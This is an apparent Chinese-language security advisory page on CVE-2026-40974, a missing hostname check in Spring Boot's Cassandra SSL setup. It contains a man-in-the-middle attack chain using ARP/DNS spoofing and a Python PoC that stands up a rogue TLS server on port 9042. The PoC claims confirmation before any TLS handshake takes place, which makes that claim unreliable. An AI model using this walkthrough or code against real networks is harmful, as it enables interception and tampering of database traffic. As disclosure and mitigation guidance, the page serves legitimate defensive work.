IPBUF安全漏洞报告
English
CVE-2026-40974 CVSS 5.0 中危

CVE-2026-40974 Spring Boot Cassandra SSL主机名校验缺失

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-40974
漏洞类型
SSL验证缺失
CVSS评分
5.0 中危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Spring Boot

相关标签

Spring BootCassandraSSL中间人攻击主机名校验CVE-2026-40974

漏洞概述

Spring Boot的Cassandra自动配置存在安全漏洞,在建立SSL连接时未能执行主机名验证。攻击者若位于邻接网络中,可利用此漏洞进行中间人攻击,截获或篡改应用与Cassandra数据库之间的通信数据。该漏洞涉及多个Spring Boot版本,官方已发布补丁更新。

技术细节

该漏洞的根本原因在于Spring Boot对Cassandra的自动配置逻辑中,SSL握手过程仅验证了证书链的有效性(是否由受信任CA签发),而忽略了证书中的主机名与目标服务器主机名的匹配检查。根据CVSS 3.1向量(AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L),攻击者无需用户交互且无需认证,在攻破邻接网络复杂度较高的情况下,利用此缺陷可能导致数据机密性、完整性和可用性的丧失。攻击者可通过ARP欺骗等网络层攻击将流量重定向至恶意服务器,由于客户端不校验主机名,会接受攻击者持有的合法证书,从而建立加密隧道。

攻击链分析

STEP 1
步骤1: 网络定位
攻击者进入目标Spring Boot应用所在的邻接网络环境(如同一局域网)。
STEP 2
步骤2: 流量劫持
攻击者利用ARP欺骗或DNS欺骗等技术,将应用发往Cassandra服务器的流量重定向到攻击者控制的服务器。
STEP 3
步骤3: 建立恶意连接
攻击者服务器向Spring Boot应用出示一个由受信任CA签发的证书(但主机名与Cassandra不符)。由于漏洞存在,客户端不验证主机名并接受连接。
STEP 4
步骤4: 数据窃取与篡改
攻击者作为中间人,解密并查看应用与数据库的通信内容,甚至注入恶意指令修改数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# POC Concept: Demonstration of Man-in-the-Middle setup # Attacker sets up a proxy with a valid certificate (wrong hostname) to intercept traffic. import socket import ssl # This script simulates a malicious server that an attacker would deploy. # If the vulnerable Spring Boot app connects without verifying the hostname, # the connection succeeds, proving the vulnerability. def start_malicious_server(): context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) # Load a valid certificate signed by a trusted CA, but for a different hostname context.load_cert_chain(certfile='attacker-cert.pem', keyfile='attacker-key.pem') bindsocket = socket.socket() bindsocket.bind(('0.0.0.0', 9042)) bindsocket.listen(5) print("[+] Malicious Cassandra SSL proxy listening on port 9042...") print("[+] Waiting for vulnerable Spring Boot client to connect...") newsocket, fromaddr = bindsocket.accept() print(f"[+] Connection established from {fromaddr}") print("[!] Client accepted connection without hostname verification. Vulnerability confirmed.") try: stream = context.wrap_socket(newsocket, server_side=True) # In a real attack, data would be relayed here except Exception as e: print(f"[-] Connection failed: {e}") if __name__ == "__main__": # Note: Requires 'attacker-cert.pem' and 'attacker-key.pem' to run start_malicious_server()

影响范围

Spring Boot 4.0.0 - 4.0.5
Spring Boot 3.5.0 - 3.5.13
Spring Boot 3.4.0 - 3.4.15
Spring Boot 3.3.0 - 3.3.18
Spring Boot 2.7.0 - 2.7.32

防御指南

临时缓解措施
如果无法立即升级,建议通过自定义配置手动设置Cassandra的SSLOptions,强制开启EndpointIdentificationAlgorithm为HTTPS以启用主机名验证。同时,加强网络层面的防护,如使用静态ARP表或端口安全,防止局域网内的中间人攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表